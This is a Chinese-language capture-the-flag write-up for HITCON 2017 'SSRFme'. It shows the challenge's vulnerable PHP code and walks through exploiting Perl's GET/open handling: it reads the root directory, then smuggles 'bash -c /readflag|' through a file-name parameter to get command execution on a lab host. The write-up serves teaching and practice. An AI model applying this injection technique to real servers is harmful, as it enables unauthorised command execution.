[HITCON 2017]SSRFme
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
前半段代码用orange和ip地址的md5编码在sandbox下新建了一个文件夹并且进入到该文件夹下。后来再用GET执行url的参数,这里的GET是Lib for WWW in Perl中的命令,有任意命令执行漏洞。再用filename新建文件夹,并且将GET命令执行的结果放入该文件夹。
ip地址已经显示在源码页面上了,再加上orange用MD5编码得到文件夹名sandbox/5bfd90feef2e64d9ecea7d17eed33d47
读取根目录文件然后将结果存放到文件夹a中,再直接访问
http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn:81/?url=/&filename=a
http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn/sandbox/5bfd90feef2e64d9ecea7d17eed33d47/a
可以看到有flag和readflag文件,应该是要执行readflag才能获取到flag。这里用的是open函数的任意代码执行漏洞,我们先新建一个文件?url=&filename=bash -c /readflag|
然后利用open的漏洞执行代码?url=file:bash -c /readflag|&filename=c
再访问http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn:81/sandbox/5bfd90feef2e64d9ecea7d17eed33d47/c
得到flag